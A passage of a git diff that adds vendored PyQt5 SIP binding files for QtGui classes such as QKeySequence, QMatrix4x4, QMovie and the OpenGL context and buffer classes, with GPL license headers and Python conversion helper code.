QImageIOHandler::Transformations transformation() const; +%End +%If (Qt_5_5_0 -) + void setTransformation(QImageIOHandler::Transformations orientation); +%End +%If (Qt_5_12_0 -) + static QList imageFormatsForMimeType(const QByteArray &mimeType); +%End + +private: + QImageWriter(const QImageWriter &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qinputmethod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qinputmethod.sip new file mode 100644 index 00000000..706ccb0c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qinputmethod.sip @@ -0,0 +1,91 @@ +// qinputmethod.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QInputMethod : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QTransform inputItemTransform() const; + void setInputItemTransform(const QTransform &transform); + QRectF cursorRectangle() const; + QRectF keyboardRectangle() const; + + enum Action + { + Click, + ContextMenu, + }; + + bool isVisible() const; + void setVisible(bool visible); + bool isAnimating() const; + QLocale locale() const; + Qt::LayoutDirection inputDirection() const; +%If (Qt_5_1_0 -) + QRectF inputItemRectangle() const; +%End +%If (Qt_5_1_0 -) + void setInputItemRectangle(const QRectF &rect); +%End +%If (Qt_5_3_0 -) + static QVariant queryFocusObject(Qt::InputMethodQuery query, QVariant argument); +%End + +public slots: + void show(); + void hide(); + void update(Qt::InputMethodQueries queries); + void reset(); + void commit(); + void invokeAction(QInputMethod::Action a, int cursorPosition); + +signals: + void cursorRectangleChanged(); + void keyboardRectangleChanged(); + void visibleChanged(); + void animatingChanged(); + void localeChanged(); + void inputDirectionChanged(Qt::LayoutDirection newDirection); + +public: +%If (Qt_5_7_0 -) + QRectF anchorRectangle() const; +%End +%If (Qt_5_7_0 -) + QRectF inputItemClipRectangle() const; +%End + +signals: +%If (Qt_5_7_0 -) + void anchorRectangleChanged(); +%End +%If (Qt_5_7_0 -) + void inputItemClipRectangleChanged(); +%End + +private: + QInputMethod(); + virtual ~QInputMethod(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qkeysequence.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qkeysequence.sip new file mode 100644 index 00000000..e5bcd54b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qkeysequence.sip @@ -0,0 +1,246 @@ +// qkeysequence.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QKeySequence /TypeHintIn="Union[QKeySequence, QKeySequence.StandardKey, QString, int]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +// Allow a StandardKey, QString or an integer whenever a QKeySequence is +// expected. + +if (sipIsErr == NULL) +{ + if (sipCanConvertToType(sipPy, sipType_QKeySequence, SIP_NO_CONVERTORS)) + return 1; + + if (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_QKeySequence_StandardKey))) + return 1; + + if (sipCanConvertToType(sipPy, sipType_QString, 0)) + return 1; + + PyErr_Clear(); + + SIPLong_AsLong(sipPy); + + return !PyErr_Occurred(); +} + +if (sipCanConvertToType(sipPy, sipType_QKeySequence, SIP_NO_CONVERTORS)) +{ + *sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QKeySequence, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + + return 0; +} + +if (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_QKeySequence_StandardKey))) +{ + *sipCppPtr = new QKeySequence((QKeySequence::StandardKey)SIPLong_AsLong(sipPy)); + + return sipGetState(sipTransferObj); +} + +if (sipCanConvertToType(sipPy, sipType_QString, 0)) +{ + int state; + QString *qs = reinterpret_cast(sipConvertToType(sipPy, sipType_QString, 0, 0, &state, sipIsErr)); + + if (*sipIsErr) + { + sipReleaseType(qs, sipType_QString, state); + return 0; + } + + *sipCppPtr = new QKeySequence(*qs); + + sipReleaseType(qs, sipType_QString, state); + + return sipGetState(sipTransferObj); +} + +int key = SIPLong_AsLong(sipPy); + +*sipCppPtr = new QKeySequence(key); + +return sipGetState(sipTransferObj); +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"iiii", sipCpp->operator[](0), sipCpp->operator[](1), sipCpp->operator[](2), sipCpp->operator[](3)); +%End + +public: + enum SequenceFormat + { + NativeText, + PortableText, + }; + + enum SequenceMatch + { + NoMatch, + PartialMatch, + ExactMatch, + }; + + enum StandardKey + { + UnknownKey, + HelpContents, + WhatsThis, + Open, + Close, + Save, + New, + Delete, + Cut, + Copy, + Paste, + Undo, + Redo, + Back, + Forward, + Refresh, + ZoomIn, + ZoomOut, + Print, + AddTab, + NextChild, + PreviousChild, + Find, + FindNext, + FindPrevious, + Replace, + SelectAll, + Bold, + Italic, + Underline, + MoveToNextChar, + MoveToPreviousChar, + MoveToNextWord, + MoveToPreviousWord, + MoveToNextLine, + MoveToPreviousLine, + MoveToNextPage, + MoveToPreviousPage, + MoveToStartOfLine, + MoveToEndOfLine, + MoveToStartOfBlock, + MoveToEndOfBlock, + MoveToStartOfDocument, + MoveToEndOfDocument, + SelectNextChar, + SelectPreviousChar, + SelectNextWord, + SelectPreviousWord, + SelectNextLine, + SelectPreviousLine, + SelectNextPage, + SelectPreviousPage, + SelectStartOfLine, + SelectEndOfLine, + SelectStartOfBlock, + SelectEndOfBlock, + SelectStartOfDocument, + SelectEndOfDocument, + DeleteStartOfWord, + DeleteEndOfWord, + DeleteEndOfLine, + InsertParagraphSeparator, + InsertLineSeparator, + SaveAs, + Preferences, + Quit, + FullScreen, +%If (Qt_5_1_0 -) + Deselect, +%End +%If (Qt_5_2_0 -) + DeleteCompleteLine, +%End +%If (Qt_5_5_0 -) + Backspace, +%End +%If (Qt_5_6_0 -) + Cancel, +%End + }; + + QKeySequence(); + QKeySequence(const QKeySequence &ks); + QKeySequence(const QString &key, QKeySequence::SequenceFormat format = QKeySequence::NativeText); + QKeySequence(int k1, int key2 = 0, int key3 = 0, int key4 = 0); + QKeySequence(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QKeySequence(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QKeySequence(); + int count() const /__len__/; + bool isEmpty() const; + QKeySequence::SequenceMatch matches(const QKeySequence &seq) const; + static QKeySequence mnemonic(const QString &text); + int operator[](int i) const; +%MethodCode + Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + + if (idx < 0) + sipIsErr = 1; + else + sipRes = sipCpp->operator[]((uint)idx); +%End + + bool operator==(const QKeySequence &other) const; + bool operator!=(const QKeySequence &other) const; + bool operator<(const QKeySequence &ks) const; + bool operator>(const QKeySequence &other) const; + bool operator<=(const QKeySequence &other) const; + bool operator>=(const QKeySequence &other) const; + bool isDetached() const; + void swap(QKeySequence &other /Constrained/); + QString toString(QKeySequence::SequenceFormat format = QKeySequence::PortableText) const; + static QKeySequence fromString(const QString &str, QKeySequence::SequenceFormat format = QKeySequence::PortableText); + static QList keyBindings(QKeySequence::StandardKey key); +%If (Qt_5_1_0 -) + static QList listFromString(const QString &str, QKeySequence::SequenceFormat format = QKeySequence::PortableText); +%End +%If (Qt_5_1_0 -) + static QString listToString(const QList &list, QKeySequence::SequenceFormat format = QKeySequence::PortableText); +%End +%If (Qt_5_6_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; + +QDataStream &operator<<(QDataStream &in, const QKeySequence &ks /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &out, QKeySequence &ks /Constrained/) /ReleaseGIL/; +void qt_set_sequence_auto_mnemonic(bool b); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qmatrix4x4.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qmatrix4x4.sip new file mode 100644 index 00000000..52cf4132 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qmatrix4x4.sip @@ -0,0 +1,320 @@ +// qmatrix4x4.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QMatrix4x4 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[16]; + + // We want the data in row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"dddddddddddddddd", + (double)data[0], (double)data[1], (double)data[2], (double)data[3], + (double)data[4], (double)data[5], (double)data[6], (double)data[7], + (double)data[8], (double)data[9], (double)data[10], (double)data[11], + (double)data[12], (double)data[13], (double)data[14], (double)data[15]); +%End + +public: + QMatrix4x4(); + explicit QMatrix4x4(SIP_PYOBJECT values /TypeHint="Sequence[float]"/) [(const float *values)]; +%MethodCode + float values[16]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 16, values)) == sipErrorNone) + sipCpp = new QMatrix4x4(values); +%End + + QMatrix4x4(float m11, float m12, float m13, float m14, float m21, float m22, float m23, float m24, float m31, float m32, float m33, float m34, float m41, float m42, float m43, float m44); + QMatrix4x4(const QTransform &transform); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[16]; + PYQT_FLOAT data[16]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 16; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix4x4(" + "%R, %R, %R, %R, " + "%R, %R, %R, %R, " + "%R, %R, %R, %R, " + "%R, %R, %R, %R)", + m[0], m[1], m[2], m[3], + m[4], m[5], m[6], m[7], + m[8], m[9], m[10], m[11], + m[12], m[13], m[14], m[15]); + #else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix4x4("); + + for (i = 0; i < 16; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + for (i = 0; i < 16; ++i) + Py_XDECREF(m[i]); +%End + + double determinant() const; + QMatrix4x4 inverted(bool *invertible = 0) const; + QMatrix4x4 transposed() const; + QMatrix3x3 normalMatrix() const; + void scale(const QVector3D &vector); + void scale(float x, float y); + void scale(float x, float y, float z); + void scale(float factor); + void translate(const QVector3D &vector); + void translate(float x, float y); + void translate(float x, float y, float z); + void rotate(float angle, const QVector3D &vector); + void rotate(float angle, float x, float y, float z = 0.F); + void rotate(const QQuaternion &quaternion); + void ortho(const QRect &rect); + void ortho(const QRectF &rect); + void ortho(float left, float right, float bottom, float top, float nearPlane, float farPlane); + void frustum(float left, float right, float bottom, float top, float nearPlane, float farPlane); + void perspective(float angle, float aspect, float nearPlane, float farPlane); + void lookAt(const QVector3D &eye, const QVector3D ¢er, const QVector3D &up); + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + float values[16]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(16, values, &sipRes); +%End + + QTransform toTransform() const; + QTransform toTransform(float distanceToPlane) const; + QRect mapRect(const QRect &rect) const; + QRectF mapRect(const QRectF &rect) const; + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(16, sipCpp->constData(), &sipRes); +%End + + void optimize(); + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 4, 4, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 4, 4, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End + + QVector4D column(int index) const; + void setColumn(int index, const QVector4D &value); + QVector4D row(int index) const; + void setRow(int index, const QVector4D &value); + bool isIdentity() const; + void setToIdentity(); + void fill(float value); + QMatrix4x4 &operator+=(const QMatrix4x4 &other); + QMatrix4x4 &operator-=(const QMatrix4x4 &other); + QMatrix4x4 &operator*=(const QMatrix4x4 &other) /__imatmul__/; + QMatrix4x4 &operator*=(float factor); + QMatrix4x4 &operator/=(float divisor); + bool operator==(const QMatrix4x4 &other) const; + bool operator!=(const QMatrix4x4 &other) const; + QPoint map(const QPoint &point) const; + QPointF map(const QPointF &point) const; + QVector3D map(const QVector3D &point) const; + QVector3D mapVector(const QVector3D &vector) const; + QVector4D map(const QVector4D &point) const; +%If (Qt_5_4_0 -) + void viewport(float left, float bottom, float width, float height, float nearPlane = 0.F, float farPlane = 1.F); +%End +%If (Qt_5_4_0 -) + void viewport(const QRectF &rect); +%End +%If (Qt_5_5_0 -) + bool isAffine() const; +%End +}; + +QMatrix4x4 operator/(const QMatrix4x4 &matrix, float divisor); +QMatrix4x4 operator+(const QMatrix4x4 &m1, const QMatrix4x4 &m2); +QMatrix4x4 operator-(const QMatrix4x4 &m1, const QMatrix4x4 &m2); +QMatrix4x4 operator*(const QMatrix4x4 &m1, const QMatrix4x4 &m2) /__matmul__/; +QVector3D operator*(const QVector3D &vector, const QMatrix4x4 &matrix); +QVector3D operator*(const QMatrix4x4 &matrix, const QVector3D &vector); +QVector4D operator*(const QVector4D &vector, const QMatrix4x4 &matrix); +QVector4D operator*(const QMatrix4x4 &matrix, const QVector4D &vector); +QPoint operator*(const QPoint &point, const QMatrix4x4 &matrix); +QPointF operator*(const QPointF &point, const QMatrix4x4 &matrix); +QPoint operator*(const QMatrix4x4 &matrix, const QPoint &point); +QPointF operator*(const QMatrix4x4 &matrix, const QPointF &point); +QMatrix4x4 operator-(const QMatrix4x4 &matrix); +QMatrix4x4 operator*(float factor, const QMatrix4x4 &matrix); +QMatrix4x4 operator*(const QMatrix4x4 &matrix, float factor); +bool qFuzzyCompare(const QMatrix4x4 &m1, const QMatrix4x4 &m2); +QDataStream &operator<<(QDataStream &, const QMatrix4x4 & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QMatrix4x4 & /Constrained/) /ReleaseGIL/; + +%ModuleHeaderCode +// Helpers for the matrix classes. +typedef float PYQT_FLOAT; + +sipErrorState qtgui_matrixParseIndex(PyObject *tup, int nr_rows, + int nr_columns, int *row, int *column); +sipErrorState qtgui_matrixDataFromSequence(PyObject *seq, int nr_values, + PYQT_FLOAT *values); +sipErrorState qtgui_matrixDataAsList(int nr_values, const PYQT_FLOAT *values, + PyObject **list); +%End + +%ModuleCode +// Convert a Python object to a row and column. +sipErrorState qtgui_matrixParseIndex(PyObject *tup, int nr_rows, + int nr_columns, int *row, int *column) +{ + sipErrorState es = sipErrorContinue; + + if (PyTuple_Check(tup) && PyArg_ParseTuple(tup, "ii", row, column)) + if (*row >= 0 && *row < nr_rows && *column >= 0 && *column < nr_columns) + es = sipErrorNone; + + if (es == sipErrorContinue) + PyErr_Format(PyExc_IndexError, "an index must be a row in the range 0 to %d and a column in the range 0 to %d", nr_rows - 1, nr_columns - 1); + + return es; +} + + +// Convert a Python object to an array of qreals. +sipErrorState qtgui_matrixDataFromSequence(PyObject *seq, int nr_values, + PYQT_FLOAT *values) +{ + sipErrorState es; + + if (PySequence_Size(seq) == nr_values) + { + es = sipErrorNone; + + for (int i = 0; i < nr_values; ++i) + { + PyObject *value = PySequence_GetItem(seq, i); + + if (!value) + { + es = sipErrorFail; + break; + } + + PyErr_Clear(); + + double d = PyFloat_AsDouble(value); + + if (PyErr_Occurred()) + { + Py_DECREF(value); + es = sipErrorContinue; + break; + } + + Py_DECREF(value); + + *values++ = d; + } + } + else + { + es = sipErrorContinue; + } + + if (es == sipErrorContinue) + PyErr_Format(PyExc_TypeError, "a sequence of %d floats is expected", + nr_values); + + return es; +} + + +// Convert an array of qreals to a Python list. +sipErrorState qtgui_matrixDataAsList(int nr_values, const PYQT_FLOAT *values, + PyObject **list) +{ + PyObject *l = PyList_New(nr_values); + + if (!l) + return sipErrorFail; + + for (int i = 0; i < nr_values; ++i) + { + PyObject *value = PyFloat_FromDouble(*values++); + + if (!value) + { + Py_DECREF(l); + return sipErrorFail; + } + + PyList_SetItem(l, i, value); + } + + *list = l; + + return sipErrorNone; +} +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qmovie.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qmovie.sip new file mode 100644 index 00000000..9f95bbde --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qmovie.sip @@ -0,0 +1,95 @@ +// qmovie.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMovie : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum MovieState + { + NotRunning, + Paused, + Running, + }; + + enum CacheMode + { + CacheNone, + CacheAll, + }; + + explicit QMovie(QObject *parent /TransferThis/ = 0); + QMovie(QIODevice *device, const QByteArray &format = QByteArray(), QObject *parent /TransferThis/ = 0); + QMovie(const QString &fileName, const QByteArray &format = QByteArray(), QObject *parent /TransferThis/ = 0); + virtual ~QMovie(); + static QList supportedFormats(); + void setDevice(QIODevice *device); + QIODevice *device() const; + void setFileName(const QString &fileName); + QString fileName() const; + void setFormat(const QByteArray &format); + QByteArray format() const; + void setBackgroundColor(const QColor &color); + QColor backgroundColor() const; + QMovie::MovieState state() const; + QRect frameRect() const; + QImage currentImage() const; + QPixmap currentPixmap() const; + bool isValid() const; + bool jumpToFrame(int frameNumber); + int loopCount() const; + int frameCount() const; + int nextFrameDelay() const; + int currentFrameNumber() const; + void setSpeed(int percentSpeed); + int speed() const; + QSize scaledSize(); + void setScaledSize(const QSize &size); + QMovie::CacheMode cacheMode() const; + void setCacheMode(QMovie::CacheMode mode); + +signals: + void started(); + void resized(const QSize &size); + void updated(const QRect &rect); + void stateChanged(QMovie::MovieState state); + void error(QImageReader::ImageReaderError error); + void finished(); + void frameChanged(int frameNumber); + +public slots: + void start(); + bool jumpToNextFrame(); + void setPaused(bool paused); + void stop(); + +public: +%If (Qt_5_10_0 -) + QImageReader::ImageReaderError lastError() const; +%End +%If (Qt_5_10_0 -) + QString lastErrorString() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qoffscreensurface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qoffscreensurface.sip new file mode 100644 index 00000000..49c7b56e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qoffscreensurface.sip @@ -0,0 +1,60 @@ +// qoffscreensurface.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QOffscreenSurface : QObject, QSurface +{ +%TypeHeaderCode +#include +%End + +public: + explicit QOffscreenSurface(QScreen *screen = 0); +%If (Qt_5_10_0 -) + QOffscreenSurface(QScreen *screen, QObject *parent /TransferThis/); +%End + virtual ~QOffscreenSurface(); + virtual QSurface::SurfaceType surfaceType() const; + void create(); + void destroy(); + bool isValid() const; + void setFormat(const QSurfaceFormat &format); + virtual QSurfaceFormat format() const; + QSurfaceFormat requestedFormat() const; + virtual QSize size() const; + QScreen *screen() const; + void setScreen(QScreen *screen); + +signals: + void screenChanged(QScreen *screen); + +public: +%If (Qt_5_9_0 -) + void *nativeHandle() const; +%End +%If (Qt_5_9_0 -) + void setNativeHandle(void *handle); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglbuffer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglbuffer.sip new file mode 100644 index 00000000..62905ff6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglbuffer.sip @@ -0,0 +1,108 @@ +// qopenglbuffer.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_OpenGL) + +class QOpenGLBuffer +{ +%TypeHeaderCode +#include +%End + +public: + enum Type + { + VertexBuffer, + IndexBuffer, + PixelPackBuffer, + PixelUnpackBuffer, + }; + + QOpenGLBuffer(); + explicit QOpenGLBuffer(QOpenGLBuffer::Type type); + QOpenGLBuffer(const QOpenGLBuffer &other); + ~QOpenGLBuffer(); + + enum UsagePattern + { + StreamDraw, + StreamRead, + StreamCopy, + StaticDraw, + StaticRead, + StaticCopy, + DynamicDraw, + DynamicRead, + DynamicCopy, + }; + + enum Access + { + ReadOnly, + WriteOnly, + ReadWrite, + }; + + QOpenGLBuffer::Type type() const; + QOpenGLBuffer::UsagePattern usagePattern() const; + void setUsagePattern(QOpenGLBuffer::UsagePattern value); + bool create(); + bool isCreated() const; + void destroy(); + bool bind(); + void release(); + static void release(QOpenGLBuffer::Type type); + GLuint bufferId() const; + int size() const /__len__/; + bool read(int offset, void *data, int count); + void write(int offset, const void *data, int count); + void allocate(const void *data, int count); + void allocate(int count); + void *map(QOpenGLBuffer::Access access); + bool unmap(); +%If (Qt_5_4_0 -) + + enum RangeAccessFlag + { + RangeRead, + RangeWrite, + RangeInvalidate, + RangeInvalidateBuffer, + RangeFlushExplicit, + RangeUnsynchronized, + }; + +%End +%If (Qt_5_4_0 -) + typedef QFlags RangeAccessFlags; +%End +%If (Qt_5_4_0 -) + void *mapRange(int offset, int count, QOpenGLBuffer::RangeAccessFlags access); +%End +}; + +%End +%If (Qt_5_4_0 -) +%If (PyQt_OpenGL) +QFlags operator|(QOpenGLBuffer::RangeAccessFlag f1, QFlags f2); +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglcontext.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglcontext.sip new file mode 100644 index 00000000..e314dc2c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglcontext.sip @@ -0,0 +1,150 @@ +// qopenglcontext.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_OpenGL) + +class QOpenGLContextGroup : QObject +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QOpenGLContextGroup(); + QList shares() const; + static QOpenGLContextGroup *currentContextGroup(); + +private: + QOpenGLContextGroup(); +}; + +%End +%If (PyQt_OpenGL) + +class QOpenGLContext : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QOpenGLContext(QObject *parent /TransferThis/ = 0); + virtual ~QOpenGLContext(); + void setFormat(const QSurfaceFormat &format); + void setShareContext(QOpenGLContext *shareContext); + void setScreen(QScreen *screen); + bool create(); + bool isValid() const; + QSurfaceFormat format() const; + QOpenGLContext *shareContext() const; + QOpenGLContextGroup *shareGroup() const; + QScreen *screen() const; + GLuint defaultFramebufferObject() const; + bool makeCurrent(QSurface *surface); + void doneCurrent(); + void swapBuffers(QSurface *surface); + QFunctionPointer getProcAddress(const QByteArray &procName) const; + QSurface *surface() const; + static QOpenGLContext *currentContext(); + static bool areSharing(QOpenGLContext *first, QOpenGLContext *second); + QSet extensions() const; + bool hasExtension(const QByteArray &extension) const; + +signals: + void aboutToBeDestroyed(); + +public: +%If (Qt_5_1_0 -) + SIP_PYOBJECT versionFunctions(const QOpenGLVersionProfile *versionProfile = 0) const; +%MethodCode + sipRes = qpyopengl_version_functions(sipCpp, sipSelf, a0); +%End + +%End +%If (Qt_5_3_0 -) + static void *openGLModuleHandle(); +%End +%If (Qt_5_3_0 -) + + enum OpenGLModuleType + { + LibGL, + LibGLES, + }; + +%End +%If (Qt_5_3_0 -) + static QOpenGLContext::OpenGLModuleType openGLModuleType(); +%End +%If (Qt_5_3_0 -) + bool isOpenGLES() const; +%End +%If (Qt_5_4_0 -) + void setNativeHandle(const QVariant &handle); +%End +%If (Qt_5_4_0 -) + QVariant nativeHandle() const; +%End +%If (Qt_5_5_0 -) + static bool supportsThreadedOpenGL(); +%End +%If (Qt_5_5_0 -) + static QOpenGLContext *globalShareContext(); +%End +}; + +%End +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) + +class QOpenGLVersionProfile +{ +%TypeHeaderCode +#include +%End + +public: + QOpenGLVersionProfile(); + explicit QOpenGLVersionProfile(const QSurfaceFormat &format); + QOpenGLVersionProfile(const QOpenGLVersionProfile &other); + ~QOpenGLVersionProfile(); + QPair version() const; + void setVersion(int majorVersion, int minorVersion); + QSurfaceFormat::OpenGLContextProfile profile() const; + void setProfile(QSurfaceFormat::OpenGLContextProfile profile); + bool hasProfiles() const; + bool isLegacyVersion() const; + bool isValid() const; +}; + +%End +%End +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) +bool operator==(const QOpenGLVersionProfile &lhs, const QOpenGLVersionProfile &rhs); +%End +%End +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) +bool operator!=(const QOpenGLVersionProfile &lhs, const QOpenGLVersionProfile &rhs); +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengldebug.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengldebug.sip new file mode 100644 index 00000000..7d896c3f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengldebug.sip @@ -0,0 +1,150 @@ +// qopengldebug.sip generated by 